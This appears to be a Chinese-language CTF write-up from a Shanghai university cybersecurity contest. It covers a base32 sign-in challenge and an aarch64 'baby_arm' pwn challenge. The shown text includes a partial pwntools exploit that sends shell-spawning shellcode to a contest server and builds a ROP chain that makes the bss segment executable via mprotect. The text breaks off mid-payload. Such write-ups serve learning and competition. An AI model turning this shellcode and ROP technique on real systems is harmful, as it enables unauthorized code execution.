利用周末打了上海市大学生网络安全大赛,最后打了第三,这次的 Misc 真的是难上天,除了签到其他都做不动...膜一波复旦的师傅们。比赛中我打的是 Crypto 和部分 Web,这里也贴了一些队友的 wp。 签到 直接 base32 解码。 baby_arm arm 架构,核心思想是改掉 mprotect 函数的参数,使 bss 段可执行。 exp如下: #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import os context.arch = 'aarch64' p = remote('106.75.126.171', 33865) start = p64(0x4007D8)+asm(shellcraft.aarch64.linux.sh()) p.sendafter('Name:', start.ljust(512, '\x00')) padding='a'*0x48 pop=0x4008CC lea=0x4008ac bss= 0x411068 payload = flat(padding,...